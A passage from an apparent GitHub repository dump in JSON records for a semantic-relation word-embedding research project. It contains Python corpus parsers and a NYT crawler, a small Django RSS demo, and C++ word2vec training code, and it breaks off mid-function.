work with older versions of gcc; in that case, use -O2\nCFLAGS = -lm -pthread -Ofast -march=native -Wall -funroll-loops -Wno-unused-result -std=c++11\n\nOBJS = Paraphrase.o\n\nall: word2vec_joint\n\n%.o : %.cpp\n\t$(CC) -c $< -o $@ $(CFLAGS)\n\nword2vec_joint : word2vec_joint.cpp $(OBJS)\n\t$(CC) word2vec_joint.cpp $(OBJS) -o word2vec_joint $(CFLAGS)\n\nclean:\n\trm -rf word2vec_joint *.o\n" }, { "alpha_fraction": 0.4862385392189026, "alphanum_fraction": 0.4969418942928314, "avg_line_length": 35.33333206176758, "blob_id": "a42255df30b80e6e71014ae011e1878e51859b7c", "content_id": "ff09bc4a192c6f66b78ae973972f6328086f51e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 654, "license_type": "no_license", "max_line_length": 110, "num_lines": 18, "path": "/evaluation/parse_topic_prediction_res.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "import sys\n\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n print 'argv error'\n print 'argv: filename'\n filename = sys.argv[1]\n with open(filename) as fin:\n while True:\n line = fin.readline()\n if not line: break\n\n if line.startswith('topic') or line.startswith('total'):\n topic = line.strip() if line.startswith('total') else line.strip().split(',')[0].split(':')[1]\n line = fin.readline()\n arr = line.strip().split(',')\n precision = float(arr[-1].strip().split(':')[-1])\n print '%s\\t%.4lf' % (topic, precision)\n" }, { "alpha_fraction": 0.47486695647239685, "alphanum_fraction": 0.4861029088497162, "avg_line_length": 37.431819915771484, "blob_id": "02b584867668b06a952425cd1f733c871481bdb0", "content_id": "ab9a542c5a1e1a72ca63e38ee541b135a9e725da", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1691, "license_type": "no_license", "max_line_length": 101, "num_lines": 44, "path": "/gen_data/parse_nytimes.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "import os, sys\nimport datetime\nimport lxml.etree\n\ndef log(logstr, writer = sys.stdout, inline = False):\n writer.write(\"%s\\t%s%s\" % (str(datetime.datetime.now()), logstr, '\\r' if inline else '\\n'))\n writer.flush()\n\nBASE_DIR = '/home/zhangbaihan/Downloads/nytimes/corpus/'\ndef parse_xml():\n fout = file('../../paper/data/nytimes/nytimes_content', 'w')\n year_list = os.listdir(BASE_DIR)\n count = 0\n for year in year_list:\n for month in range(1, 13):\n ms = '%02d' % month\n path = os.path.join(BASE_DIR, year, ms)\n if not os.path.isdir(path): continue\n days = os.listdir(path)\n for day in days:\n day_path = os.path.join(path, day)\n files = os.listdir(day_path)\n log(day_path)\n for f in files:\n full_path = os.path.join(day_path, f)\n doc = lxml.etree.parse(full_path)\n title = doc.xpath('//body.head')\n title_text = ''\n if len(title) != 0:\n title_text = '\\n'.join([x.strip() for x in title[0].itertext() if x.strip()])\n content = doc.xpath('//body.content')\n if len(content) == 0: continue\n text = '\\n'.join([x.strip() for x in content[0].itertext() if x.strip()])\n fout.write('%s\\n%s\\n' % (title_text.encode('utf-8'), text.encode('utf-8')))\n if count % 10000 == 0:\n log(count)\n count += 1\n fout.close()\n log('total:%d' % count)\ndef main():\n parse_xml()\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.8600000143051147, "alphanum_fraction": 0.8600000143051147, "avg_line_length": 49, "blob_id": "f2c7fc03eb4b408de80c6384467ec96924129620", "content_id": "181bdd382777b2f4af40c8ff75099516f32e253a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 50, "license_type": "no_license", "max_line_length": 49, "num_lines": 1, "path": "/README.md", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "This is Semantic-Relation Word Embeddings project\n" }, { "alpha_fraction": 0.5500552654266357, "alphanum_fraction": 0.5655248761177063, "avg_line_length": 32.51852035522461, "blob_id": "53394ec5264908282360d4229f4e90419300bc51", "content_id": "2dd8523314f692279c78dbc6f215937465010a82", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4525, "license_type": "no_license", "max_line_length": 118, "num_lines": 135, "path": "/gen_data/nytimes/crawler_nytimes.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport urllib2, cookielib\nimport lxml.html as H\nimport socket\nsocket.setdefaulttimeout(5)\nfrom time import sleep\nfrom datetime import datetime\nfrom Queue import Queue, Empty\nimport threading\nimport sys\n\nHOST = \"http://spiderbites.nytimes.com/\"\nXPATH_NEWS = '//ul[@id=\"headlines\"]/li/a/@href'\nXPATH_CATEGORY = '//meta[@property=\"article:section\"]/@content'\nXPATH_TITLE = '//meta[@property=\"og:title\"]/@content'\nXPATH_ABSTRACT = '//meta[@property=\"og:description\"]/@content'\nXPATH_DATE = '//meta[@property=\"article:published\"]/@content'\n\nclass Requester:\n UR_KEY = 'User-Agent'\n UR_VALUE = 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.65'\n\n def __init__(self, timeout = 5):\n self.timeout = timeout\n cj = cookielib.CookieJar()\n self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))\n\n def get(self, url):\n #req = urllib2.Request(url)\n #req.add_header(self.UR_KEY, self.UR_VALUE)\n #content = urllib2.urlopen(req, timeout=self.timeout).read()\n return self.opener.open(url).read()\n\n\ndef log(logstr, writer = sys.stdout):\n writer.write(\"%s\\t%s\\n\" % (str(datetime.now()), logstr))\n writer.flush()\n\ndef fetch_news_urls(filename):\n requester = Requester()\n fout = file('%s_news_url' % sys.argv[1], 'w')\n with open(filename) as fin:\n for line in fin:\n url = HOST + line.strip()\n print url\n html = requester.get(url)\n page = H.document_fromstring(html)\n news_node = page.xpath(XPATH_NEWS)\n for news in news_node:\n fout.write('%s\\n' % str(news))\n fout.close()\n\ndef load_list(filename):\n ls = []\n with open(filename) as fin:\n for line in fin:\n ls.append(line.strip())\n return ls\n\ndef dump_queue(queue):\n with open('queue_%s.dump' % sys.argv[1], 'w') as fout:\n while not queue.empty():\n item, count = queue.get(False)\n fout.write(item + '\\n')\n\n\ndef fetch_news_info_thread(requester, queue, index):\n fout = file('./%s_news_part/news.part.%d' % (sys.argv[1], index), 'a')\n ferr = file('./%s_news_part/news.err.part.%d' % (sys.argv[1], index), 'a')\n failure_count = 0\n while not queue.empty():\n try:\n url, count = queue.get(True, 30)\n if count > 10:\n log('REQ_ERROR:%s' % url, ferr)\n continue\n html = requester.get(url)\n log('%s\\tfetched' % url)\n page = H.document_fromstring(html)\n category = page.xpath(XPATH_CATEGORY)\n date = page.xpath(XPATH_DATE)\n title = page.xpath(XPATH_TITLE)\n abstract = page.xpath(XPATH_ABSTRACT)\n if len(category) < 1 or (len(title) < 1 and len(abstract) < 1): continue\n title_str = title[0].encode('utf-8') if len(title) > 0 else ''\n abstract_str = abstract[0].encode('utf-8') if len(abstract) > 0 else ''\n date_str = date[0].encode('utf-8') if len(date) > 0 else ''\n fout.write('%s\\t%s\\t%s\\t%s\\t%s\\n' % (url, category[0].encode('utf-8'), title_str, date_str, abstract_str))\n fout.flush()\n failure_count = 0\n except Empty:\n log('EMPTY:%d' % index, ferr)\n break\n except (urllib2.URLError, socket.timeout, socket.error, urllib2.HTTPError):\n queue.put((url, count + 1))\n failure_count += 1\n if failure_count == 10:\n log('TIMEOUT:%d' % index, ferr)\n sleep(10 * failure_count)\n elif failure_count >= 20:\n log('NETWORK_ERR:%d' % index, ferr)\n break\n log('Thread %s done' % index)\n fout.close()\n ferr.close()\n\ndef crawle_news_info():\n requester = Requester()\n queue = Queue()\n urls = load_list('./%s_news_url' % sys.argv[1])\n #urls = load_list('./queue.dump')\n log('urls to fetch:%s' % len(urls))\n for url in urls:\n queue.put((url, 1))\n threads = []\n for i in range(10):\n threads.append(threading.Thread(target=fetch_news_info_thread, args=(requester, queue, i)))\n for t in threads:\n t.start()\n for t in threads:\n t.join()\n\n if not queue.empty():\n dump_queue(queue)\n log('Finish')\n\ndef main():\n fetch_news_urls('./%s_url' % sys.argv[1])\n crawle_news_info()\n\nif __name__ == '__main__':\n if len(sys.argv) <= 1:\n log('argv error')\n exit(1)\n main()\n" }, { "alpha_fraction": 0.7063778638839722, "alphanum_fraction": 0.720818281173706, "avg_line_length": 30.961538314819336, "blob_id": "abd680d87f189b8ddbd50c554dc317f5761939f2", "content_id": "57737df2a26d7f26cc21cf6240fcb5ad2eca2584", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 831, "license_type": "no_license", "max_line_length": 50, "num_lines": 26, "path": "/demo/rss_news/rss/models.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "from django.db import models\n\n# Create your models here.\n\nclass RSSItem(models.Model):\n rss_id = models.AutoField(primary_key=True)\n url = models.CharField(max_length=200)\n update_time = models.DateTimeField()\n\nclass ClassItem(models.Model):\n class_id = models.AutoField(primary_key=True)\n title = models.CharField(max_length=200)\n\nclass Subscription(models.Model):\n subscr_id = models.AutoField(primary_key=True)\n rss_id = models.ForeignKey(RSSItem)\n\nclass News(models.Model):\n news_id = models.AutoField(primary_key=True)\n rss_id = models.ForeignKey(RSSItem)\n pub_time = models.DateTimeField()\n title = models.CharField(max_length=500)\n abstract = models.TextField()\n content = models.TextField()\n news_link = models.CharField(max_length=200)\n class_id = models.ForeignKey(ClassItem)\n" }, { "alpha_fraction": 0.7323186993598938, "alphanum_fraction": 0.7341092228889465, "avg_line_length": 31.823530197143555, "blob_id": "57b53bc58ccbedad62d6652205d86a2b32fd93d3", "content_id": "685d1c07547e964f70639335c759fcda87d18c3f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1117, "license_type": "no_license", "max_line_length": 74, "num_lines": 34, "path": "/demo/rss_news/rss/views.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "#coding=utf-8\nfrom django.http import HttpResponse,HttpResponseRedirect\nfrom django.shortcuts import render_to_response,redirect\nfrom django.template import RequestContext\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rss.models import RSSItem, ClassItem, Subscription, News\nimport time\n\ndef render_addrss(request):\n return render_to_response('addrss.html')\n\ndef render_addclass(request):\n return render_to_response('addclass.html')\n\n\n@csrf_exempt\ndef add_rss(request):\n url = request.POST.get('rss_url')\n if not url: return HttpResponse('RSS URL is empty.')\n new_rss = RSSItem(url=url, update_time=format_time(time.localtime(0)))\n new_rss.save()\n return HttpResponse('Add RSS URL successfully!')\n\n@csrf_exempt\ndef add_class(request):\n class_title = request.POST.get('class')\n if not class_title: return HttpResponse('class is empty.')\n new_class = ClassItem(title=class_title)\n new_class.save()\n #return HttpResponse('Add class successfully!')\n return render_to_response('addclass.html')\n\ndef format_time(secs):\n return time.strftime('%Y-%m-%d %H:%M:%S', secs)\n\n" }, { "alpha_fraction": 0.4875565469264984, "alphanum_fraction": 0.506033182144165, "avg_line_length": 23.33027458190918, "blob_id": "5274d15ba077f7cfdf8f375be41c927e0009b122", "content_id": "f3ec0030f2a9201ea20ad25d9f686d14b11df0c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2654, "license_type": "no_license", "max_line_length": 92, "num_lines": 109, "path": "/src/Paraphrase.cpp", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "//\n// Paraphrase.cpp\n// word2vec\n//\n// Created by gflfof gflfof on 14-1-22.\n// Copyright (c) 2014年 hit. All rights reserved.\n//\n\n#include \"Paraphrase.h\"\n#include <sstream>\n\nvoid Paraphrase::InitList(string filename)\n{\n ifstream ifs(filename.c_str());\n char line_buf[1000];\n ifs.getline(line_buf, 1000, '\\n');\n while (strcmp(line_buf, \"\")) {\n istringstream iss(line_buf);\n string key; iss >> key;\n \n vector<string> val;\n pplist[key] = val;\n while (! iss.eof()) {\n string word; iss >> word;\n pplist[key].push_back(word);\n //iss >> word;\n }\n ifs.getline(line_buf, 1000, '\\n');\n }\n ifs.close();\n}\n\n/*\nvector<string>* Paraphrase::GetList(string word)\n{\n word2list::iterator iter = pplist.find(word);\n if (iter != pplist.end()) {\n return &iter->second;\n }\n else\n {\n return NULL;\n }\n}\n */\n\nvoid Paraphrase::GetList(string word, vector<string>& retlist)\n{\n retlist.clear();\n word2list::iterator iter = pplist.find(word);\n if (iter != pplist.end()) {\n retlist = iter->second;\n }\n}\n\nvoid Paraphrase2::InitDict(string filename)\n{\n ifstream ifs(filename.c_str());\n char line_buf[1000];\n ifs.getline(line_buf, 1000, '\\n');\n while (strcmp(line_buf, \"\")) {\n istringstream iss(line_buf);\n string key; iss >> key;\n word2dict::iterator iter = ppdict.find(key);\n if (iter == ppdict.end()) {\n word2int d;\n ppdict[key] = d;\n }\n\n while (! iss.eof()) {\n string word; iss >> word;\n word2int::iterator it_wi = ppdict[key].find(word);\n if (it_wi == ppdict[key].end()) {\n ppdict[key][word] = 1;\n }\n \n word2dict::iterator it_wd = ppdict.find(word);\n if (it_wd == ppdict.end()) {\n word2int d;\n ppdict[word] = d;\n ppdict[word][key] = 1;\n }\n else\n {\n it_wi = ppdict[word].find(key);\n if (it_wi == ppdict[word].end()) {\n ppdict[word][key] = 1;\n }\n }\n }\n ifs.getline(line_buf, 1000, '\\n');\n }\n ifs.close();\n}\n\nvoid Paraphrase2::GetList(string word, vector<string>& pplist)\n{\n word2dict::iterator iter = ppdict.find(word);\n pplist.clear();\n if (iter != ppdict.end()) {\n for (word2int::iterator it = iter->second.begin(); it != iter->second.end(); it++) {\n pplist.push_back(it->first);\n }\n }\n}\n\nvoid Paraphrase2::GetDict(vector<string>& keys)\n{\n}\n" }, { "alpha_fraction": 0.6622911691665649, "alphanum_fraction": 0.6622911691665649, "avg_line_length": 33.91666793823242, "blob_id": "7b52f819f4d02c4948cb951a38cf8f1c310c7572", "content_id": "5ab1a2b09d216a373887eeb80eb99629f39613e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 838, "license_type": "no_license", "max_line_length": 71, "num_lines": 24, "path": "/demo/rss_news/rss_news/urls.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "from django.conf.urls import patterns, include, url\nfrom rss import views as rss_views\n# Uncomment the next two lines to enable the admin:\n# from django.contrib import admin\n# admin.autodiscover()\n\nurlpatterns = [\n # Examples:\n # url(r'^$', 'rss_news.views.home', name='home'),\n # url(r'^rss_news/', include('rss_news.foo.urls')),\n\n # Uncomment the admin/doc line below to enable admin documentation:\n # url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n\n # Uncomment the next line to enable the admin:\n # url(r'^admin/', include(admin.site.urls)),\n url(r'^addrss.htm', rss_views.render_addrss),\n url(r'^addclass.htm', rss_views.render_addclass),\n url(r'^rss/add$', rss_views.add_rss),\n url(r'^class/add$', rss_views.add_class),\n\n # test\n #url(r'^test$', rss_views.fetch_rss_update),\n]\n" }, { "alpha_fraction": 0.5480682849884033, "alphanum_fraction": 0.5624438524246216, "avg_line_length": 35.49180221557617, "blob_id": "ec514e1e72c64338eaf95683e6f0bfbe315aff56", "content_id": "b15dc150e90643e1490a0307ea40bb361e34fb39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2226, "license_type": "no_license", "max_line_length": 80, "num_lines": 61, "path": "/gen_data/split_train_test_data.py", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "import random\nimport logging\nlogging.basicConfig(format='%(asctime)s\\t%(message)s', level=logging.INFO)\nfrom collections import defaultdict\n\ndef sample_all(filename):\n logging.info('split_train_test_data:sample_all: %s' % filename)\n test_percentage = 10\n fout_train = file('%s.train' % filename, 'w')\n fout_test = file('%s.test' % filename, 'w')\n count = 0\n with open(filename) as fin:\n for line in fin:\n if count % 1000 == 0: logging.info(count)\n count += 1\n num = random.randint(1, 100)\n if num <= test_percentage:\n fout_test.write('%s\\n' % line.strip())\n else:\n fout_train.write('%s\\n' % line.strip())\n fout_test.close()\n fout_train.close()\n\ndef sample_by_relation(filename):\n logging.info('split_train_test_data:sample_by_relation: %s' % filename)\n test_percentage = 20\n fout_train = file('%s.train' % filename, 'w')\n fout_test = file('%s.test' % filename, 'w')\n count = 0\n relation_list = defaultdict(list)\n with open(filename) as fin:\n for line in fin:\n if count % 1000 == 0: logging.info(count)\n count += 1\n arr = line.strip().split('\\t')\n h, r, t = arr\n relation_list[r].append(arr)\n #num = random.randint(1, 100)\n #if num <= test_percentage:\n #fout_test.write('%s\\n' % line.strip())\n #else:\n #fout_train.write('%s\\n' % line.strip())\n for relation in relation_list:\n logging.info('%s, size:%d' % (relation, len(relation_list[relation])))\n random.shuffle(relation_list[relation])\n test_size = len(relation_list[relation]) * test_percentage / 100\n for i in range(len(relation_list[relation])):\n if i <= test_size:\n fout_test.write('%s\\n' % '\\t'.join(relation_list[relation][i]))\n else:\n fout_train.write('%s\\n' % '\\t'.join(relation_list[relation][i]))\n fout_test.close()\n fout_train.close()\n\ndef main():\n filename = '../../paper/data/srwe_model/freebase.100.relation'\n #sample_all(filename)\n sample_by_relation(filename)\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.423232764005661, "alphanum_fraction": 0.44763466715812683, "avg_line_length": 44.08086013793945, "blob_id": "87eb31cb09b2fd5bcf3c6060ba4e483fffbc4b39", "content_id": "ec3cc79757fe4e84a68686ec4f59d2abd7b79ea0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 77496, "license_type": "no_license", "max_line_length": 221, "num_lines": 1719, "path": "/src/word2vec_joint.cpp", "repo_name": "zbhno37/srwe", "src_encoding": "UTF-8", "text": "//\n// word2vec.cpp\n// word2vec\n//\n// Created by gflfof gflfof on 14-1-22.\n// Copyright (c) 2014年 hit. All rights reserved.\n//\n\n// Copyright 2013 Google Inc. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <math.h>\n#include <pthread.h>\n#include <sstream>\n#include <iostream>\n#include \"Paraphrase.h\"\n#include \"RelationalData.h\"\n// #include \"EvaluationPP.h\"\n\n\n\n#define MAX_STRING 100\n#define EXP_TABLE_SIZE 1000\n#define MAX_EXP 6\n#define MAX_SENTENCE_LENGTH 1000\n#define MAX_CODE_LENGTH 40\n\nconst long long max_size = 2000; // max length of strings\nconst long long N = 200; // number of closest words\nconst long long max_w = 50; // max length of vocabulary entries\ntypedef std::tr1::unordered_map<string, int > worddict;\n\nconst int vocab_hash_size = 30000000; // Maximum 30 * 0.7 = 21M words in the vocabulary\n\ntypedef float real; // Precision of float numbers\n\nstruct vocab_word {\n long long cn;\n int *point;\n char *word, *code, codelen;\n};\n\nchar train_file[MAX_STRING], output_file[MAX_STRING];\nchar save_vocab_file[MAX_STRING], read_vocab_file[MAX_STRING];\nstruct vocab_word *vocab;\nint binary = 0, cbow = 0, debug_mode = 2, window = 5, min_count = 5;\nint num_threads = 1, min_reduce = 1, num_thread_pmm = 1;\nint *vocab_hash;\nlong long vocab_max_size = 1000, vocab_size = 0, layer1_size = 100;\nlong long train_words = 0, word_count_actual = 0, file_size = 0, classes = 0;\nlong long pp_count_actual = 0;\nreal alpha = 0.025, starting_alpha, sample = 0;\nreal lambda = 0.1, starting_lambda;\nreal gamma_value = 0.0001;\nreal *syn0;\nreal *syn1, *syn1neg, *expTable;\n//real *A;\n\nword2int upperdict;\nvector<string> uppervocab;\n\nint weight_tying = 0;\n\nclock_t start;\nchar train_file2[MAX_STRING];\nchar pp_file[MAX_STRING];\nchar relational_file[MAX_STRING];\nint word2vec = 1;\nint reg = 0;\nint reg_in = 0;\nint reg_out = 1;\nint epochs = 1;\n\nint use_relational = 1;\nint use_pp = 1;\nint pretrain = 0;\nchar pretrain_file[MAX_STRING];\n\nParaphrase2* pp;\nParaphrase* ppeval;\nRelationalData* rdata = NULL;\n//real lambda = 0.1;\nreal lambda_in = 0.1;\nreal lambda_out = 0.1;\n\nlong long sem_dim = 0;\n\nint hs = 1, negative = 0;\nconst int table_size = 1e8;\nint *table;\n\nint LoadEmb(string modelfile);\n\nvoid InitUnigramTable() {\n int a, i;\n long long train_words_pow = 0;\n real d1, power = 0.75;\n table = (int *)malloc(table_size * sizeof(int));\n for (a = 0; a < vocab_size; a++) train_words_pow += pow(vocab[a].cn, power);\n i = 0;\n d1 = pow(vocab[i].cn, power) / (real)train_words_pow;\n for (a = 0; a < table_size; a++) {\n table[a] = i;\n if (a / (real)table_size > d1) {\n i++;\n d1 += pow(vocab[i].cn, power) / (real)train_words_pow;\n }\n if (i >= vocab_size) i = (int)vocab_size - 1;\n }\n}\n\nvoid BuildUpperDict() {\n char tmpword[max_w];\n for (int a = 0; a < vocab_size; a++) {\n for (int c = 0; c < max_w; c++) tmpword[c] = toupper(vocab[a].word[c]);\n word2int::iterator iter = upperdict.find(string(tmpword));\n if (iter == upperdict.end()) upperdict[string(tmpword)] = (int)a;\n uppervocab.push_back(tmpword);\n }\n}\n\nint evaluateMRRout(int threshold, Paraphrase* pp)\n{\n char bestw[N][max_size];\n real* M;\n float dist, len, bestd[N];\n long long words, size, a, c, d, b1;\n\n size = layer1_size;\n words = vocab_size;\n if (threshold) if (words > threshold) words = threshold;\n\n M = (float *)malloc(words * layer1_size * sizeof(float));\n memcpy(M, syn1neg, words * layer1_size * sizeof(float));\n for (int i = 0; i < words; i++) {\n len = 0;\n for (a = 0; a < size; a++) len += M[a + i * size] * M[a + i * size];\n len = sqrt(len);\n for (a = 0; a < size; a++) M[a + i * size] /= len;\n }\n size = layer1_size;\n\n int count = 0;\n int Total = 0; int Num_Ob = 0;\n double score_total = 0.0;\n char key[max_size], answer[max_size];\n for (word2list::iterator iter = pp->pplist.begin(); iter != pp->pplist.end(); iter++) {\n strcpy(key,iter->first.c_str());\n for (a = 0; a < max_w; a++) key[a] = toupper(key[a]);\n vector<string> val = iter -> second;\n\n count++;\n if (count % 10 == 0) {\n printf(\"%d\\r\", count);\n fflush(stdout);\n }\n\n for (a = 0; a < N; a++) bestd[a] = 0;\n for (a = 0; a < N; a++) bestw[a][0] = 0;\n\n //for (b = 0; b < words; b++) if (!strcmp(&vocab[b * max_w], st1)) break;\n worddict::iterator it = upperdict.find(string(key));\n if (it != upperdict.end() && it->second < words) b1 = it->second;\n else continue;\n\n vector<string>::iterator iter2;\n for (iter2 = val.begin(); iter2 != val.end(); iter2++) {\n strcpy(answer, iter2->c_str());\n for (a = 0; a < max_w; a++) answer[a] = toupper(answer[a]);\n it = upperdict.find(string(answer));\n if (it == upperdict.end() || it->second >= words) break;\n dist = 0;\n for (a = 0; a < size; a++) dist += M[a + b1 * size] * M[a + it->second * size];\n //printf(\"%lf\\n\", dist);\n }\n if (iter2 != val.end()) continue;\n\n Num_Ob++;\n for (c = 0; c < words; c++) {\n if (c == b1) continue;\n dist = 0;\n for (a = 0; a < size; a++) dist += M[a + b1 * size] * M[a + c * size];\n for (a = 0; a < N; a++) {\n if (dist > bestd[a]) {\n for (d = N - 1; d > a; d--) {\n bestd[d] = bestd[d - 1];\n strcpy(bestw[d], bestw[d - 1]);\n }\n bestd[a] = dist;\n strcpy(bestw[a], uppervocab[c].c_str());\n break;\n }\n }\n }\n\n double score = 0.0;\n int PP_total = (int)val.size();\n\n for (int i = 0; i < N; i++) {\n if (!strcmp(answer, bestw[i])) {\n //printf(\"%lf\\n\", bestd[i]);\n score += (double)1 / (i + 1);\n break;\n }\n }\n\n Total += PP_total;\n score /= PP_total;\n score_total += score;\n }\n printf(\"\\n\");\n free(M);\n printf(\"Queries seen / total: %d %d %.2f %% \\n\", Num_Ob, (int)pp->pplist.size(), (float)Num_Ob/pp->pplist.size()*100);\n printf(\"MRR (threshold %lld): %.2f %d %.2f %% \\n\", N, score_total, Num_Ob, score_total / Num_Ob * 100);\n return 0;\n}\n\n// Reads a single word from a file, assuming space + tab + EOL to be word boundaries\nvoid ReadWord(char *word, FILE *fin) {\n int a = 0, ch;\n while (!feof(fin)) {\n ch = fgetc(fin);\n if (ch == 13) continue;\n if ((ch == ' ') || (ch == '\\t') || (ch == '\\n')) {\n if (a > 0) {\n if (ch == '\\n') ungetc(ch, fin);\n break;\n }\n if (ch == '\\n') {\n strcpy(word, (char *)\"</s>\");\n return;\n } else continue;\n }\n word[a] = ch;\n a++;\n if (a >= MAX_STRING - 1) a--; // Truncate too long words\n }\n word[a] = 0;\n}\n\n// Returns hash value of a word\nint GetWordHash(const char *word) {\n unsigned long long a, hash = 0;\n for (a = 0; a < strlen(word); a++) hash = hash * 257 + word[a];\n hash = hash % vocab_hash_size;\n return hash;\n}\n\n// Returns position of a word in the vocabulary; if the word is not found, returns -1\nint SearchVocab(const char *word) {\n unsigned int hash = GetWordHash(word);\n while (1) {\n if (vocab_hash[hash] == -1) return -1;\n if (!strcmp(word, vocab[vocab_hash[hash]].word)) return vocab_hash[hash];\n hash = (hash + 1) % vocab_hash_size;\n }\n return -1;\n}\n\n// Reads a word and returns its index in the vocabulary\nint ReadWordIndex(FILE *fin) {\n char word[MAX_STRING];\n ReadWord(word, fin);\n if (feof(fin)) return -1;\n return SearchVocab(word);\n}\n\n// Adds a word to the vocabulary\nint AddWordToVocab(const char *word) {\n unsigned int hash, length = strlen(word) + 1;\n if (length > MAX_STRING) length = MAX_STRING;\n vocab[vocab_size].word = (char *)calloc(length, sizeof(char));\n strcpy(vocab[vocab_size].word, word);\n vocab[vocab_size].cn = 0;\n vocab_size++;\n // Reallocate memory if needed\n if (vocab_size + 2 >= vocab_max_size) {\n vocab_max_size += 1000;\n vocab = (struct vocab_word *)realloc(vocab, vocab_max_size * sizeof(struct vocab_word));\n }\n hash = GetWordHash(word);\n while (vocab_hash[hash] != -1) hash = (hash + 1) % vocab_hash_size;\n vocab_hash[hash] = vocab_size - 1;\n return vocab_size - 1;\n}\n\n// Used later for sorting by word counts\nint VocabCompare(const void *a, const void *b) {\n return ((struct vocab_word *)b)->cn - ((struct vocab_word *)a)->cn;\n}\n\n// Sorts the vocabulary by frequency using word counts\nvoid SortVocab() {\n int a, size;\n unsigned int hash;\n // Sort the vocabulary and keep </s> at the first position\n qsort(&vocab[1], vocab_size - 1, sizeof(struct vocab_word), VocabCompare);\n for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;\n size = vocab_size;\n train_words = 0;\n for (a = 0; a < size; a++) {\n // Words occuring less than min_count times will be discarded from the vocab\n if (vocab[a].cn < min_count) {\n vocab_size--;\n free(vocab[vocab_size].word);\n } else {\n // Hash will be re-computed, as after the sorting it is not actual\n hash=GetWordHash(vocab[a].word);\n while (vocab_hash[hash] != -1) hash = (hash + 1) % vocab_hash_size;\n vocab_hash[hash] = a;\n train_words += vocab[a].cn;\n }\n }\n vocab = (struct vocab_word *)realloc(vocab, (vocab_size + 1) * sizeof(struct vocab_word));\n // Allocate memory for the binary tree construction\n for (a = 0; a < vocab_size; a++) {\n vocab[a].code = (char *)calloc(MAX_CODE_LENGTH, sizeof(char));\n vocab[a].point = (int *)calloc(MAX_CODE_LENGTH, sizeof(int));\n }\n}\n\n// Reduces the vocabulary by removing infrequent tokens\nvoid ReduceVocab() {\n int a, b = 0;\n\n unsigned int hash;\n for (a = 0; a < vocab_size; a++) if (vocab[a].cn > min_reduce) {\n vocab[b].cn = vocab[a].cn;\n vocab[b].word = vocab[a].word;\n b++;\n } else free(vocab[a].word);\n vocab_size = b;\n for (a = 0; a < vocab_hash_size; a++) vocab_hash[a] = -1;\n for (a = 0; a < vocab_size; a++) {\n // Hash will be re-computed, as it is not actual\n hash = GetWordHash(vocab[a].word);\n while (vocab_hash[hash] != -1) hash = (hash + 1) % vocab_hash_size;\n vocab_hash[hash] = a;\n }\n fflush(stdout);\n min_reduce++;\n}\n\n// Create binary Huffman tree using the word counts\n// Frequent words will have short uniqe binary codes\nvoid CreateBinaryTree() {\n long long a, b, i, min1i, min2i, pos1, pos2, point[MAX_CODE_LENGTH];\n char code[MAX_CODE_LENGTH];\n long long *count = (long long *)calloc(vocab_size * 2 + 1, sizeof(long long));\n long long *binary = (long long *)calloc(vocab_size * 2 + 1, sizeof(long long));\n long long *parent_node = (long long *)calloc(vocab_size * 2 + 1, sizeof(long long));\n for (a = 0; a < vocab_size; a++) count[a] = vocab[a].cn;\n for (a = vocab_size; a < vocab_size * 2; a++) count[a] = 1e15;\n pos1 = vocab_size - 1;\n pos2 = vocab_size;\n // Following algorithm constructs the Huffman tree by adding one node at a time\n for (a = 0; a < vocab_size - 1; a++) {\n // First, find two smallest nodes 'min1, min2'\n if (pos1 >= 0) {\n if (count[pos1] < count[pos2]) {\n min1i = pos1;\n pos1--;\n } else {\n min1i = pos2;\n pos2++;\n }\n } else {\n min1i = pos2;\n pos2++;\n }\n if (pos1 >= 0) {\n if (count[pos1] < count[pos2]) {\n min2i = pos1;\n pos1--;\n } else {\n min2i = pos2;\n pos2++;\n }\n } else {\n min2i = pos2;\n pos2++;\n }\n count[vocab_size + a] = count[min1i] + count[min2i];\n parent_node[min1i] = vocab_size + a;\n parent_node[min2i] = vocab_size + a;\n binary[min2i] = 1;\n }\n // Now assign binary code to each vocabulary word\n for (a = 0; a < vocab_size; a++) {\n b = a;\n i = 0;\n while (1) {\n code[i] = binary[b];\n point[i] = b;\n 